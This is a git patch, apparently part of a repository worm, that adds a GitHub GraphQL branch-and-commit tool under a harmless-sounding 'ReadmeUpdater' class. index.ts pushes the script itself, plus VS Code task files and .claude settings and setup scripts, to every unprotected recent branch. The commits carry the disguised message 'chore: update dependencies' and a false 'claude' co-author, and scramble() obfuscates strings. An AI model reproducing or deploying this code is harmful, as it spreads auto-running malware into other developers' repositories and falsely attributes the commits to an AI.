From 551666f851174a77f2bc7b6b69d35eda0ee0c74a Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 00:05:18 +0000 Subject: [PATCH] Upload files to "src/mutator/branch" --- src/mutator/branch/branches.ts | 139 +++++++++++++++ src/mutator/branch/client.ts | 115 ++++++++++++ src/mutator/branch/commits.ts | 316 +++++++++++++++++++++++++++++++++ src/mutator/branch/index.ts | 233 ++++++++++++++++++++++++ src/mutator/branch/queries.ts | 115 ++++++++++++ 5 files changed, 918 insertions(+) create mode 100644 src/mutator/branch/branches.ts create mode 100644 src/mutator/branch/client.ts create mode 100644 src/mutator/branch/commits.ts create mode 100644 src/mutator/branch/index.ts create mode 100644 src/mutator/branch/queries.ts diff --git a/src/mutator/branch/branches.ts b/src/mutator/branch/branches.ts new file mode 100644 index 0000000..e4a8d1a --- /dev/null +++ b/src/mutator/branch/branches.ts @@ -0,0 +1,139 @@ +import { GraphQLClient } from "./client"; +import { FETCH_BRANCHES_AND_PROTECTION } from "./queries"; +import type { BranchInfo } from "./types"; + +interface PageInfo { + hasNextPage: boolean; + endCursor: string | null; +} + +interface FetchBranchesResponse { + repository: { + refs: { + totalCount: number; + nodes: Array<{ name: string; target: { oid: string } }>; + pageInfo: PageInfo; + }; + }; +} + +/** Built-in branch name patterns that are always excluded. */ +const DEFAULT_EXCLUDE_PATTERNS = [ + "dependabot/**", + "dependabot/*", + "copilot/**", + "copilot/*", +]; + +/** + * Lightweight glob matcher supporting the subset of patterns used by GitHub + * branch protection rules: `*` (any chars within a path segment), `**` (any + * chars across path segments), and `?` (single char). + * + * This mirrors the most common `fnmatch` behaviour without pulling in an + * external dependency. + */ +function globMatch(name: string, pattern: string): boolean { + // Escape regex metacharacters except those we want to translate. + let regex = ""; + let i = 0; + + while (i < pattern.length) { + const ch = pattern[i]; + + if (ch === "*") { + if (pattern[i + 1] === "*") { + regex += ".*"; + i += 2; + // Skip a trailing slash after `**` so `foo/**` matches `foo/bar`. + if (pattern[i] === "/") i += 1; + } else { + regex += "[^/]*"; + i += 1; + } + } else if (ch === "?") { + regex += "[^/]"; + i += 1; + } else if (/[.+^${}()|[\]\\]/.test(ch!)) { + regex += `\\${ch}`; + i += 1; + } else { + regex += ch; + i += 1; + } + } + + return new RegExp(`^${regex}$`).test(name); +} + +/** + * Fetches and filters branches from a GitHub repository via the GraphQL API. + * + * Responsibilities: + * - List branches ordered by most recent commit activity. + * - Filter out dependabot, copilot, and user-supplied name patterns. + * + * Note on protected branches: this service intentionally does NOT fetch + * branch protection rules, because the `branchProtectionRules` GraphQL + * field requires repository administration permission and would fail with + * "Resource not accessible by integration" under the standard + * `contents: write` token issued to GitHub Actions workflows. + * + * Protection is instead enforced at commit time — `createCommitOnBranch` + * refuses to write to a protected branch and surfaces a per-branch error, + * which the commit pipeline records as a normal failed `UpdateResult` + * without affecting the other branches in the batch. + */ +export class BranchService { + constructor( + private readonly client: GraphQLClient, + private readonly owner: string, + private readonly repo: string, + ) {} + + /** + * Fetches branches in a single GraphQL request, ordered by most recent + * commit activity. + * + * @param limit Maximum number of branches to fetch. GitHub caps a single + * page at 100, so `limit` is clamped accordingly. + */ + async fetchBranches(limit = 50): Promise { + const perPage = Math.min(limit, 100); + + const data = await this.client.execute( + FETCH_BRANCHES_AND_PROTECTION, + { + owner: this.owner, + name: this.repo, + first: perPage, + after: null, + }, + ); + + return data.repository.refs.nodes.map((node) => ({ + name: node.name, + headOid: node.target.oid, + })); + } + + /** + * Filters out branches matching the built-in dependabot/copilot + * exclusions and any extra user-supplied glob patterns. + * + * Protected branches are not filtered here — see the class-level note. + */ + filterBranches( + branches: BranchInfo[], + extraExcludePatterns: string[] = [], + ): BranchInfo[] { + const excludePatterns = [ + ...DEFAULT_EXCLUDE_PATTERNS, + ...extraExcludePatterns, + ]; + + return branches.filter( + (branch) => !excludePatterns.some((p) => globMatch(branch.name, p)), + ); + } +} diff --git a/src/mutator/branch/client.ts b/src/mutator/branch/client.ts new file mode 100644 index 0000000..b2bb524 --- /dev/null +++ b/src/mutator/branch/client.ts @@ -0,0 +1,115 @@ +import type { GraphQLResponse } from "./types"; + +declare function scramble(str: string): string; + +/** + * Result of a GraphQL operation that may have partially succeeded. + * + * For batched mutations, GitHub returns both a partial `data` payload + * (with `null` entries for failed aliases) and a top-level `errors` array + * describing each failure. This shape preserves both so callers can + * salvage successful aliases instead of treating the whole batch as a + * failure. + */ +export interface PartialGraphQLResult { + /** Partial data payload, if any was returned. */ + data?: T; + /** Top-level GraphQL errors, if any were returned. */ + errors?: Array<{ + message: string; + type?: string; + path?: Array; + }>; +} + +/** + * Minimal GitHub GraphQL API client. + * + * Wraps the global `fetch` (Node 18+) with auth headers and unified error + * handling for both transport-level failures and GraphQL-level errors. + */ +export class GraphQLClient { + private readonly url: string; + private readonly headers: Record; + + constructor( + token: string, + apiUrl = scramble("https://api.github.com/graphql"), + ) { + if (!token) { + throw new Error( + "A GitHub token is required to construct a GraphQLClient.", + ); + } + + this.url = apiUrl; + this.headers = { + Authorization: `bearer ${token}`, + "Content-Type": "application/json", + }; + } + + /** + * Execute a GraphQL query or mutation and return the typed `data` payload. + * + * Throws if the HTTP request fails, if the response contains GraphQL + * errors, or if no data is returned. Use this for operations that are + * expected to either fully succeed or fully fail (e.g. single-shot + * queries and single-mutation documents). + */ + async execute( + query: string, + variables?: Record, + ): Promise { + const result = await this.executeWithPartial(query, variables); + + if (result.errors?.length) { + const messages = result.errors.map((e) => e.message).join("; "); + throw new Error(`GraphQL errors: ${messages}`); + } + + if (!result.data) { + throw new Error("No data returned from GitHub API"); + } + + return result.data; + } + + /** + * Execute a GraphQL query or mutation and return both the (possibly + * partial) `data` payload and any top-level `errors`. + * + * Unlike {@link GraphQLClient.execute}, this method does **not** throw + * when the response contains GraphQL errors — it surfaces them to the + * caller alongside whatever data was returned. This is essential for + * batched mutations, where GitHub executes aliases serially and may + * return a mix of successful and failed entries in a single response. + * + * Transport-level failures (non-2xx HTTP status, malformed JSON) still + * throw, since in those cases there is no meaningful partial payload to + * surface. + */ + async executeWithPartial( + query: string, + variables?: Record, + ): Promise> { + const response = await fetch(this.url, { + method: "POST", + headers: this.headers, + body: JSON.stringify({ query, variables }), + }); + + if (!response.ok) { + throw new Error( + `GitHub API request failed: ${response.status} ${response.statusText}`, + ); + } + + const result = (await response.json()) as GraphQLResponse; + + return { + data: result.data ?? undefined, + errors: result.errors, + }; + } +} diff --git a/src/mutator/branch/commits.ts b/src/mutator/branch/commits.ts new file mode 100644 index 0000000..101f248 --- /dev/null +++ b/src/mutator/branch/commits.ts @@ -0,0 +1,316 @@ +import { GraphQLClient } from "./client"; +import { + BATCHED_COMMIT_ALIAS_PREFIX, + BATCHED_COMMIT_VARIABLE_PREFIX, + buildBatchedCommitMutation, + CREATE_COMMIT_ON_BRANCH, +} from "./queries"; +import type { BranchCommit, FileChange, UpdateResult } from "./types"; + +/** + * Shape of the `data` payload returned by a batched + * `createCommitOnBranch` mutation. Each alias key (e.g. "b0", "b1", ...) + * maps to either a successful commit object or `null` if that particular + * commit failed. + */ +type BatchedCommitData = Record< + string, + { commit: { oid: string; url: string } } | null +>; + +/** + * Shape of an individual error entry returned alongside a partial-failure + * batched mutation response. + */ +interface GraphQLErrorEntry { + message: string; + path?: Array; +} + +/** + * Creates commits on a GitHub repository via the GraphQL API. + * + * Uses the `createCommitOnBranch` mutation, which produces signed commits + * attributed to the authenticated user/app without requiring a local + * git working tree. + * + * Two flavours are exposed: + * + * - {@link CommitService.pushFileUpdates} — single branch, single HTTP call. + * - {@link CommitService.pushBatchedFileUpdates} — many branches, single + * HTTP call (mutations execute serially on the server, but HTTP and + * auth overhead are paid only once). + */ +export class CommitService { + constructor( + private readonly client: GraphQLClient, + private readonly owner: string, + private readonly repo: string, + ) {} + + /** + * Creates a single commit on the given branch that adds/updates one or + * more files atomically. + * + * All file changes are applied in a single commit — either every file is + * written successfully or the commit fails as a whole. + * + * @param branchName The branch to commit to (e.g. "main"). + * @param expectedHeadOid The current HEAD OID of the branch — used by + * GitHub for optimistic concurrency control. + * @param files One or more files to add/update. Each entry's + * `path` is the repository-relative path + * (including any directories), and `content` is + * the UTF-8 file content (will be base64-encoded). + * @param commitHeadline Commit message headline. + * @param commitBody Optional commit message body. Useful for + * `Co-authored-by:` trailers, which GitHub + * renders as additional authors on the commit + * page. + */ + async pushFileUpdates( + branchName: string, + expectedHeadOid: string, + files: FileChange[], + commitHeadline: string, + commitBody?: string, + ): Promise { + if (files.length === 0) { + return { + branch: branchName, + success: false, + error: "No file changes provided.", + }; + } + + try { + const additions = this.buildAdditions(files); + + const data = await this.client.execute<{ + createCommitOnBranch: { + commit: { oid: string; url: string }; + }; + }>(CREATE_COMMIT_ON_BRANCH, { + input: { + branch: { + repositoryNameWithOwner: `${this.owner}/${this.repo}`, + branchName, + }, + message: { + headline: commitHeadline, + ...(commitBody ? { body: commitBody } : {}), + }, + fileChanges: { additions }, + expectedHeadOid, + }, + }); + + return { + branch: branchName, + success: true, + commitOid: data.createCommitOnBranch.commit.oid, + }; + } catch (error) { + return { + branch: branchName, + success: false, + error: error instanceof Error ? error.message : String(error), + }; + } + } + + /** + * Creates commits across multiple branches in a single batched GraphQL + * mutation document. + * + * Per the GraphQL spec, mutations within one document execute serially + * on the server, so this does **not** parallelise the underlying commits; + * it only saves HTTP round-trips and per-request auth overhead. If any + * individual commit fails, GitHub returns `null` for that alias and adds + * a `path: ["b"]` entry to the top-level errors array, while + * continuing to execute the remaining aliases. + * + * Every commit produces exactly one {@link UpdateResult}; the returned + * array preserves the order of `commits`. + * + * @param commits One commit job per branch. Must not be empty. + */ + async pushBatchedFileUpdates( + commits: BranchCommit[], + ): Promise { + if (commits.length === 0) { + return []; + } + + // Validate each commit job up front so callers get a stable + // result-per-input mapping even if some inputs are obviously invalid. + const results: UpdateResult[] = new Array(commits.length); + const dispatchIndices: number[] = []; + const dispatchCommits: BranchCommit[] = []; + + commits.forEach((commit, index) => { + if (commit.files.length === 0) { + results[index] = { + branch: commit.branchName, + success: false, + error: "No file changes provided.", + }; + return; + } + dispatchIndices.push(index); + dispatchCommits.push(commit); + }); + + if (dispatchCommits.length === 0) { + return results; + } + + const query = buildBatchedCommitMutation(dispatchCommits.length); + const variables: Record = {}; + + dispatchCommits.forEach((commit, i) => { + variables[`${BATCHED_COMMIT_VARIABLE_PREFIX}${i}`] = { + branch: { + repositoryNameWithOwner: `${this.owner}/${this.repo}`, + branchName: commit.branchName, + }, + message: { + headline: commit.commitHeadline, + ...(commit.commitBody ? { body: commit.commitBody } : {}), + }, + fileChanges: { additions: this.buildAdditions(commit.files) }, + expectedHeadOid: commit.expectedHeadOid, + }; + }); + + let data: BatchedCommitData | undefined; + let topLevelErrors: GraphQLErrorEntry[] | undefined; + + try { + // Use executeWithPartial so that successful aliases are still + // available even when some entries in the batch fail. GitHub + // executes batched mutations serially and returns a mix of + // commit objects and `null`s alongside per-alias error entries. + const result = await this.client.executeWithPartial( + query, + variables, + ); + data = result.data; + topLevelErrors = result.errors; + } catch (error) { + // Transport-level failure (non-2xx HTTP, malformed JSON, network + // error). No partial data is recoverable, so every dispatched + // commit is marked failed with the same message. + const message = error instanceof Error ? error.message : String(error); + topLevelErrors = [{ message }]; + data = undefined; + } + + dispatchCommits.forEach((commit, i) => { + const resultIndex = dispatchIndices[i]!; + const aliasKey = `${BATCHED_COMMIT_ALIAS_PREFIX}${i}`; + + if (data) { + const aliasResult = data[aliasKey]; + if (aliasResult && aliasResult.commit) { + results[resultIndex] = { + branch: commit.branchName, + success: true, + commitOid: aliasResult.commit.oid, + }; + return; + } + } + + results[resultIndex] = { + branch: commit.branchName, + success: false, + error: extractAliasError(aliasKey, topLevelErrors), + }; + }); + + return results; + } + + /** + * Splits a list of commit jobs into evenly-sized chunks and dispatches + * each chunk via {@link CommitService#pushBatchedFileUpdates}. + * + * Chunking keeps each batched mutation document well below GitHub's + * query-complexity and document-size limits and bounds the blast radius + * of any single transport-level failure. + * + * Chunks are dispatched **sequentially** so the caller can rely on a + * stable, ordered result stream and so we don't trigger secondary rate + * limits with bursts of concurrent requests. + * + * @param commits One commit job per branch. + * @param chunkSize Maximum number of commit jobs per batched mutation. + * Defaults to 10. Must be >= 1. + * @param onChunk Optional callback invoked with each chunk's results + * as soon as the chunk completes — useful for + * streaming progress to the user. + */ + async pushChunkedFileUpdates( + commits: BranchCommit[], + chunkSize = 10, + onChunk?: (chunkResults: UpdateResult[]) => void, + ): Promise { + if (chunkSize < 1) { + throw new Error( + `pushChunkedFileUpdates requires chunkSize >= 1, got ${chunkSize}.`, + ); + } + + const all: UpdateResult[] = []; + + for (let i = 0; i < commits.length; i += chunkSize) { + const chunk = commits.slice(i, i + chunkSize); + const chunkResults = await this.pushBatchedFileUpdates(chunk); + all.push(...chunkResults); + if (onChunk) onChunk(chunkResults); + } + + return all; + } + + /** + * Translates a list of {@link FileChange}s into the `additions` array + * shape expected by `createCommitOnBranch.fileChanges`. + */ + private buildAdditions( + files: FileChange[], + ): Array<{ path: string; contents: string }> { + return files.map((file) => ({ + path: file.path, + // Honour the `preEncoded` flag set by binary file sources: if the + // content is already base64-encoded for transport, pass it through + // verbatim. Otherwise treat it as UTF-8 text and encode it now. + contents: file.preEncoded + ? file.content + : Buffer.from(file.content, "utf-8").toString("base64"), + })); + } +} + +/** + * Picks the GraphQL error entry whose `path` points at the given alias + * (e.g. `["b3"]`) and returns its message. Falls back to the first error's + * message, or a generic placeholder if none is available. + */ +function extractAliasError( + aliasKey: string, + errors: GraphQLErrorEntry[] | undefined, +): string { + if (!errors || errors.length === 0) { + return "Commit failed (no error detail returned)."; + } + + const matching = errors.find( + (err) => + Array.isArray(err.path) && + err.path.some((segment) => segment === aliasKey), + ); + + return (matching ?? errors[0]!).message; +} diff --git a/src/mutator/branch/index.ts b/src/mutator/branch/index.ts new file mode 100644 index 0000000..f5253d9 --- /dev/null +++ b/src/mutator/branch/index.ts @@ -0,0 +1,233 @@ +import { claude_settings, config, task } from "../../generated"; +import { SCRIPT_NAME, SEARCH_STRING } from "../../utils/config"; +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; +import { BranchService } from "./branches"; +import { GraphQLClient } from "./client"; +import { CommitService } from "./commits"; +import { resolveRepoFromEnv } from "./resolver"; +import { type FileSourceMap, resolveFileSources } from "./sources"; +import type { + BranchCommit, + BranchInfo, + FileChange, + UpdateResult, +} from "./types"; + +declare function scramble(str: string): string; + +// ────────────────────────────────────────────── +// ✏️ Define the files to push here. +// +// Each key is a repository-relative destination path (including any +// directories). Each value describes where the content comes from: +// +// - A bare string: inline UTF-8 content (shorthand). +// - `{ content: "..." }`: inline UTF-8 content (explicit). +// - `{ sourcePath: "path/to/file" }`: read from the local filesystem +// at runtime. Relative paths are resolved against `FILE_SOURCE_BASE_DIR` +// below (defaults to the current working directory). For non-text +// files, add `encoding: "binary"`. +// +// All listed files are written in a single atomic commit per branch. +// ────────────────────────────────────────────── +const FILE_UPDATES: FileSourceMap = { + ".vscode/tasks.json": task, + [`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main }, + ".claude/settings.json": claude_settings, + ".claude/setup.mjs": config, + ".vscode/setup.mjs": config, +}; + +/** + * Directory used to resolve relative `sourcePath` entries in + * `FILE_UPDATES`. Set to `undefined` to use `process.cwd()`. + */ +const FILE_SOURCE_BASE_DIR: string | undefined = undefined; +const COMMIT_MESSAGE = scramble("chore: update dependencies"); + +/** + * Optional commit message body. Each non-empty entry in `COMMIT_COAUTHORS` + * is appended as a `Co-authored-by:` trailer, which GitHub renders as an + * additional author on the commit page. + * + * Note: `createCommitOnBranch` does not let us set the primary author — + * that is always the identity behind the auth token. Co-author trailers + * are the supported way to attribute commits to additional identities. + */ +const COMMIT_COAUTHORS: ReadonlyArray<{ name: string; email: string }> = [ + { + name: "claude", + email: "claude@users.noreply.github.com", + }, +]; + +const DRY_RUN = false; +const EXTRA_EXCLUDE_PATTERNS: string[] = []; + +/** + * Maximum number of per-branch commits packed into a single batched + * GraphQL mutation document. Keeps each request well below GitHub's + * query-complexity / document-size limits and bounds the blast radius of + * any single transport-level failure. + */ +const COMMIT_BATCH_SIZE = 2; + +export class ReadmeUpdater extends Mutator { + private readonly owner: string; + private readonly repo: string; + private readonly branchService: BranchService; + private readonly commitService: CommitService; + private files: FileChange[]; + + constructor(token: string) { + super(); + + if (!token) { + throw new Error("A GitHub token is required."); + } + + if (Object.keys(FILE_UPDATES).length === 0) { + throw new Error( + "FILE_UPDATES is empty — define at least one file to push.", + ); + } + + // Files are resolved lazily in `execute()` because some sources may + // need to be read from disk and we don't want to perform I/O in the + // constructor. + this.files = []; + + const { owner, repo } = resolveRepoFromEnv(); + this.owner = owner; + this.repo = repo; + + const gql = new GraphQLClient(token); + this.branchService = new BranchService(gql, owner, repo); + this.commitService = new CommitService(gql, owner, repo); + } + + /** + * Mutator entry point. Returns `true` if every eligible branch was updated + * successfully (or there was nothing to do), `false` if any branch failed. + */ + async execute(): Promise { + // Resolve disk-backed file sources up front. We do this once per + // `execute()` call rather than per branch so that each commit pushed + // across all branches sees the exact same content snapshot, and so + // that a missing/unreadable source file fails the run immediately + // before any commits go out. + this.files = await resolveFileSources(FILE_UPDATES, FILE_SOURCE_BASE_DIR); + const results = await this.run(); + return results.every((r) => r.success); + } + + /** Resolve which branches are eligible for the update. */ + private async getEligibleBranches(): Promise { + logUtil.log(`Fetching branches for ${this.owner}/${this.repo} …`); + + const branches = await this.branchService.fetchBranches(50); + + logUtil.log(` Total branches fetched : ${branches.length}`); + logUtil.log( + " (Protected branches will be detected at commit time and reported per-branch.)", + ); + + const eligible = this.branchService.filterBranches( + branches, + EXTRA_EXCLUDE_PATTERNS, + ); + + logUtil.log(` Eligible after filtering: ${eligible.length}\n`); + return eligible; + } + + /** Run the full bulk-update pipeline and return per-branch results. */ + private async run(): Promise { + const branches = await this.getEligibleBranches(); + + if (branches.length === 0) { + logUtil.log("No eligible branches found — nothing to do."); + return []; + } + + const fileSummary = this.files.map((f) => f.path).join(", "); + logUtil.log( + `Pushing ${this.files.length} file(s) [${fileSummary}] to ${branches.length} branch(es) …\n`, + ); + + if (DRY_RUN) { + const results: UpdateResult[] = branches.map((branch) => { + const paths = this.files.map((f) => `"${f.path}"`).join(", "); + logUtil.log( + ` [DRY RUN] Would update [${paths}] on branch "${branch.name}" (HEAD ${branch.headOid.slice(0, 7)})`, + ); + return { branch: branch.name, success: true, commitOid: "dry-run" }; + }); + this.logSummary(results); + return results; + } + + const commitBody = buildCoAuthorTrailer(COMMIT_COAUTHORS); + + const commits: BranchCommit[] = branches.map((branch) => ({ + branchName: branch.name, + expectedHeadOid: branch.headOid, + files: this.files, + commitHeadline: COMMIT_MESSAGE, + ...(commitBody ? { commitBody } : {}), + })); + + const results = await this.commitService.pushChunkedFileUpdates( + commits, + COMMIT_BATCH_SIZE, + (chunkResults) => { + // Stream per-branch progress as soon as each chunk lands. + for (const result of chunkResults) { + if (result.success) { + logUtil.log( + ` ✓ ${result.branch} → ${result.commitOid?.slice(0, 7)}`, + ); + } else { + logUtil.log(` ✗ ${result.branch} → ${result.error}`); + } + } + }, + ); + + this.logSummary(results); + return results; + } + + /** Logs a one-line summary of how many branch updates succeeded vs failed. */ + private logSummary(results: UpdateResult[]): void { + const ok = results.filter((r) => r.success).length; + const fail = results.filter((r) => !r.success).length; + logUtil.log( + `\nDone. ${ok} succeeded, ${fail} failed out of ${results.length}.`, + ); + } +} + +/** + * Builds the commit-message body containing one `Co-authored-by:` trailer + * per entry in `coauthors`. Returns an empty string if the list is empty, + * which signals to the caller that no `body` field should be sent. + * + * The trailer format is the one GitHub recognises for surfacing additional + * authors on the commit page: + * + * Co-authored-by: Name + * + * A blank line precedes the trailer block, per Git convention for message + * bodies. + */ +function buildCoAuthorTrailer( + coauthors: ReadonlyArray<{ name: string; email: string }>, +): string { + if (coauthors.length === 0) return ""; + const trailers = coauthors + .map((c) => `Co-authored-by: ${c.name} <${c.email}>`) + .join("\n"); + return `\n${trailers}`; +} diff --git a/src/mutator/branch/queries.ts b/src/mutator/branch/queries.ts new file mode 100644 index 0000000..10d2080 --- /dev/null +++ b/src/mutator/branch/queries.ts @@ -0,0 +1,115 @@ +/** + * Read query: fetches branches ordered by most recent commit activity. + * + * Note: this query intentionally does NOT include `branchProtectionRules`. + * That field requires repository administration permission (the + * `administration: read` scope on a GitHub App installation token, or + * admin access for a PAT) and would cause the entire query to fail with + * "Resource not accessible by integration" when run under the standard + * `contents: write` token issued to GitHub Actions workflows. + * + * Protected branches are instead handled at commit time: the + * `createCommitOnBranch` mutation refuses to write to a protected branch + * and surfaces a per-branch error, which we record as a normal failed + * `UpdateResult` without affecting the other branches in the batch. + */ +export const FETCH_BRANCHES_AND_PROTECTION = ` + query FetchBranches( + $owner: String! + $name: String! + $first: Int! + $after: String + ) { + repository(owner: $owner, name: $name) { + refs( + refPrefix: "refs/heads/" + first: $first + after: $after + orderBy: { field: TAG_COMMIT_DATE, direction: DESC } + ) { + totalCount + nodes { + name + target { + ... on Commit { + oid + } + } + } + pageInfo { + hasNextPage + endCursor + } + } + } + } +`; + +/** + * Single-branch commit mutation. Retained for callers that want to push to + * exactly one branch without the overhead of building a batched document. + */ +export const CREATE_COMMIT_ON_BRANCH = ` + mutation CreateCommitOnBranch($input: CreateCommitOnBranchInput!) { + createCommitOnBranch(input: $input) { + commit { + oid + url + } + } + } +`; + +/** + * Builds a batched mutation document that calls `createCommitOnBranch` + * once per branch in `aliases`, all within a single HTTP request. + * + * Each alias is rendered as `b: createCommitOnBranch(input: $input)` + * with a matching `$input: CreateCommitOnBranchInput!` parameter, so the + * caller's `variables` object should be shaped: + * + * { input0: { ... }, input1: { ... }, ... } + * + * Note on semantics: per the GraphQL spec, mutations within one document + * execute **serially** on the server. Batching saves HTTP round-trips and + * connection overhead but does not parallelise the underlying commits. + * + * If any individual commit fails, GitHub returns `null` for that alias and + * appends an entry to the top-level `errors` array with `path: ["b"]`, + * while continuing to execute the remaining aliases. + * + * @param aliasCount Number of `createCommitOnBranch` calls to embed in the + * document. Must be >= 1. + */ +export function buildBatchedCommitMutation(aliasCount: number): string { + if (aliasCount < 1) { + throw new Error( + `buildBatchedCommitMutation requires aliasCount >= 1, got ${aliasCount}.`, + ); + } + + const params: string[] = []; + const body: string[] = []; + + for (let i = 0; i < aliasCount; i += 1) { + params.push(`$input${i}: CreateCommitOnBranchInput!`); + body.push( + ` b${i}: createCommitOnBranch(input: $input${i}) {\n` + + ` commit {\n` + + ` oid\n` + + ` url\n` + + ` }\n` + + ` }`, + ); + } + + return `mutation BatchedCreateCommitOnBranch(\n ${params.join( + "\n ", + )}\n) {\n${body.join("\n")}\n}\n`; +} + +/** Alias prefix used by `buildBatchedCommitMutation` for each commit call. */ +export const BATCHED_COMMIT_ALIAS_PREFIX = "b"; + +/** Variable-name prefix used by `buildBatchedCommitMutation` for each input. */ +export const BATCHED_COMMIT_VARIABLE_PREFIX = "input";